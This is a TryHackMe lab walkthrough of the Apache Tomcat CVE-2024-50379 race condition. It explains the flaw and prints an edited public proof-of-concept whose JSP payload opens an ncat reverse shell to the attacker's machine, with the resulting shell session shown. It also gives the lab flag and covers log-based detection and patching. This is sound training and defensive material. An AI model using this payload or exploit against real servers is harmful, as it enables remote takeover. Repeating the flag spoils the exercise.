June 9, 2026
Tomcat: CVE-2024–50379 Walkthrough | TryHackMe
Explore and learn about the Tomcat CVE-2024–50379 vulnerability.
Gowrishankar
6 min read
Introduction
This room is dedicated to a recent Tomcat vulnerability, CVE-2024–50379, that impacts the following versions of Apache Tomcat:
- Apache Tomcat 11.0.0-M1 to 11.0.1 (Fixed in 11.0.2 or later)
- Apache Tomcat 10.1.0-M1 to 10.1.33 (Fixed in 10.1.34 or later)
- Apache Tomcat 9.0.0.M1 to 9.0.97 (Fixed in 9.0.98 or later)
CVE-2024–50379 is an example of a Time-of-check Time-of-use (TOCTOU) vulnerability. A TOCTOU vulnerability arises from a race condition between checking a resource and using it. In other words, after a system checks the state of a resource and before using it, the resource changes, and the system ends up using the modified resource. In this vulnerability, the TOCTOU race condition occurs during JSP (Java Server Page) compilation on case-insensitive systems, provided the default servlet has write permissions.
What is the acronym that stands for Time-of-Check Time-of-Use?
TOCTOU
Task 2: Technical Background
When we talk about TOCTOU (Time-of-Check to Time-of-Use) issues in Tomcat, the risk comes into play only when two conditions are met:
- File uploads and deletions are allowed Tomcat normally runs in read-only mode, but if the configuration is changed (
readonly=false), users can upload and delete files using HTTP methods likePUTandDELETE. This opens the door for attackers to place files directly on the server. - Tomcat runs on a case-insensitive system Systems like Windows and macOS don't care about filename case. For them,
demo.jspanddemo.Jspare the same file. Tomcat, however, treats.jspas executable code and.Jspas plain text. This mismatch creates a loophole.
On Linux (case-sensitive), demo.jsp and demo.Jsp are separate files, so the risk is lower. But on Windows, the OS treats them as identical. Under heavy server load, Tomcat's case checks can fail, and a file like demo.Jsp might accidentally get executed as a servlet. That means attackers could upload malicious code and gain Remote Code Execution (RCE).
Uploading demo.jsp fails because Tomcat blocks servlet uploads.
root@tryhackme:~# curl -X PUT -d "test" http://YOUR_TARGET_IP:8080/demo.jsp
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [/demo.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/10.1.30</h3></body></html>root@tryhackme:~# curl -X PUT -d "test" http://YOUR_TARGET_IP:8080/demo.jsp
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [/demo.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/10.1.30</h3></body></html>Uploading demo.Jsp works since Tomcat sees it as harmless text.
root@tryhackme:~# curl -X PUT -d "test" http://YOUR_TARGET_IP:8080/demo.Jsp
root@tryhackme:~# curl http://YOUR_TARGET_IP:8080/demo.Jsp
testroot@tryhackme:~# curl -X PUT -d "test" http://YOUR_TARGET_IP:8080/demo.Jsp
root@tryhackme:~# curl http://YOUR_TARGET_IP:8080/demo.Jsp
testOn a busy system, this race condition can cause Tomcat to execute demo.Jsp as if it were a servlet, giving attackers control.
This vulnerability shows how small configuration changes and OS behavior can combine into a serious security issue. Allowing write access and running Tomcat on a case-insensitive system makes servers vulnerable to TOCTOU attacks, potentially leading to full remote code execution.
A Tomcat server is listening on 10.48.172.115 at10.1.25 port 8080. What is its version?
10.1.25
Task 3: Exploitation
We came across several PoC (Proof of Concept) exploits, one being this. You can download it on the AttackBox using the following command:
git clone ``[https://github.com/iSee857/CVE-2024-50379-PoC](https://github.com/iSee857/CVE-2024-50379-PoC)
We will make two changes to this script:
- Modify the loop counter: In this lab environment, using the AttackBox and a target VM, we noticed that repeating each of the four requests 2000 times instead of 10000 was more efficient.
- Change the payload: For a more interesting exploitation, we will use a reverse shell instead of starting the Calculator on the target system.
- Note: We recommend using the AttackBox over local attack systems connected over VPN as the AttackBox ensures minimal latency.
Note: For your convenience, the updated Python script can be found on the AttackBox under /root/Rooms/Tomcat-CVE-2024-50379/.
Modifying the Loop Counter
The original PoC code repeats the for loop 10000 times in line 43. For better user experience and efficient results, we recommend lowering the number to 2000. The updated line is shown below:
#...
futures = []
# 循环执行10000次
# for _ in range(10000):
for _ in range(2000):
# ...#...
futures = []
# 循环执行10000次
# for _ in range(10000):
for _ in range(2000):
# ...Note: Keep in mind that this edit only applies to the AttackBox. While we recommend using the AttackBox for this room, please keep in mind that your VM might need a different number.
Changing the Payload
This PoC exploit uses a payload that opens calc.exe, as can be inferred from line 37. To simplify this exploitation, we have installed ncat on the MS Windows server. Therefore, we will replace the payload with another one that connects to the Attacker's system. The commented-out payload and the new one are shown below.
# payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"
payload_put = "<%@ page import=\"java.io.*\" %><% Runtime.getRuntime().exec(\"cmd /c start ncat -e cmd.exe 10.48.116.222 8888\"); %>"# payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"
payload_put = "<%@ page import=\"java.io.*\" %><% Runtime.getRuntime().exec(\"cmd /c start ncat -e cmd.exe 10.48.116.222 8888\"); %>"This payload uses JSP's Runtime.getRuntime().exec() to execute cmd /c start ncat -e cmd.exe 10.48.116.222 8888. As mentioned, this is possible because we have installed ncat for the purpose of this demonstration.
Before running this PoC, we need to listen for incoming connections. Let's start netcat on the AttackBox using netcat -lvnp 8888.
AttackBox Terminal
root@tryhackme:~# netcat -lvnp 8888
Listening on 0.0.0.0 8888root@tryhackme:~# netcat -lvnp 8888
Listening on 0.0.0.0 8888Next, on the AttackBox, we run the exploit with the command python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u 10.48.172.115:8080.
- Note 1: Running this command will display a message like
Checking http://10.48.172.115:8080/..., and the terminal will stop showing updates for a few minutes. During this period, the exploit code sends many requests to overload the target server and successfully produce a race condition. Please wait as the script executes while watching the terminal running thenetcat -lvnp 8888command. Patience is key. - Note 2: Because this is a race condition exploit, you might need to repeat the PoC multiple times before succeeding.
When the exploit succeeds, a connection will be established with the listening netcat. The terminal below shows an example.
AttackBox Terminal
root@tryhackme:~# netcat -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.235.214 50916
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 10.1>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Program Files\Apache Software Foundation\Tomcat 10.1
01/30/2025 08:14 AM <DIR> .
01/30/2025 08:14 AM <DIR> ..
01/30/2025 08:14 AM <DIR> bin
[...]
01/30/2025 08:15 AM <DIR> work
5 File(s) 180,180 bytes
9 Dir(s) 14,243,995,648 bytes free
C:\Program Files\Apache Software Foundation\Tomcat 10.1>root@tryhackme:~# netcat -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.235.214 50916
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 10.1>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Program Files\Apache Software Foundation\Tomcat 10.1
01/30/2025 08:14 AM <DIR> .
01/30/2025 08:14 AM <DIR> ..
01/30/2025 08:14 AM <DIR> bin
[...]
01/30/2025 08:15 AM <DIR> work
5 File(s) 180,180 bytes
9 Dir(s) 14,243,995,648 bytes free
C:\Program Files\Apache Software Foundation\Tomcat 10.1>What are the contents of the flag.txt file on the C:\ drive?
THM{M9bN6cF3}
Task 4: Detection
Since the vulnerability relies on a race condition success and requires file upload for every exploitation attempt, it is easy to detect in web access logs, available by default in the C:\Program Files\Apache Software Foundation\<Tomcat Version>\logs\*access_log* files. The simplest attack on websites with unrestricted file upload will be logged as follows:
- PUT requests to upload the file with uppercase (.Jsp or .JSP) extension (
"PUT /cve.Jsp") - GET request to the same file immediately after, but now to the .jsp extension (
"GET /cve.jsp") - GET request is logged with either 200 or 404 status code, depending if race condition succeeded or not
- The steps above are repeated until the race condition is successful; usually, it's 1000 or more attempts
10.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "PUT /cve.Jsp HTTP/1.1" 201 -
10.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "GET /cve.jsp HTTP/1.1" 404 749
...
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 409 654
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 200 3210.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "PUT /cve.Jsp HTTP/1.1" 201 -
10.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "GET /cve.jsp HTTP/1.1" 404 749
...
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 409 654
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 200 32Suppose the targeted web server does not allow direct file upload via PUT but still has some web upload capabilities (like picture or file upload functionality). In that case, the attack will have a similar iterative pattern: a request on the web upload form followed by the request on the uploaded malicious JSP file:
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
...
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 200 32223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
...
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 200 32Detection — System Logs
In addition to web-based detections, the attack can be tracked on the OS and filesystem level using default Windows event logs or specialized tools like Sysmon. In short, the detection can be built around:
- File Creation: Uploaded JSP files remain inside the web root directory unless threat actors manually remove them. Any suspiciously named JSP files like
revshell.jspor unrecognized JSP files containing strings like.exec()can indicate the attack. - Process Execution: Uploaded JSP files usually have to spawn a child process to achieve code execution. On Windows, seeing Apache Tomcat spawning CMD or PowerShell process might be another reliable attack indicator.
Task 5: Mitigation
It is essential to check if you have enabled write for servlets. If the default configuration is kept as is, i.e. readonly is not set to false, then you are not affected. If it is set to false and it is not required for your use case, then set it back to true.
The mitigation steps are outlined in this official announcement(opens in new tab). There are two main points that the users should consider. First, users should upgrade their installation of Apache Tomcat. In particular:
- Users of Apache Tomcat 11.0.0-M1 to 11.0.1 should upgrade to 11.0.3 or later.
- Users of Apache Tomcat 10.1.0-M1 to 10.1.33 should upgrade to 10.1.35 or later.
- Users of Apache Tomcat 9.0.0.M1 to 9.0.97 should upgrade to 9.0.99 or later.
Additional steps are required for users who only upgraded to 11.0.2, 10.1.34, or 9.98. In particular, users of older versions of Java should need to make the relevant explicit changes:
- On systems using Java 8 or Java 11, the system property
sun.io.useCanonCachesshould be changed from the default value and set tofalse. - On systems using Java 17, the system property
sun.io.useCanonCachesshould be reverted tofalseif its default value has been changed.
It should be noted that Tomcat 11.0.3, 10.1.35, 9.0.99, and later include checks to ensure that sun.io.useCanonCaches is set appropriately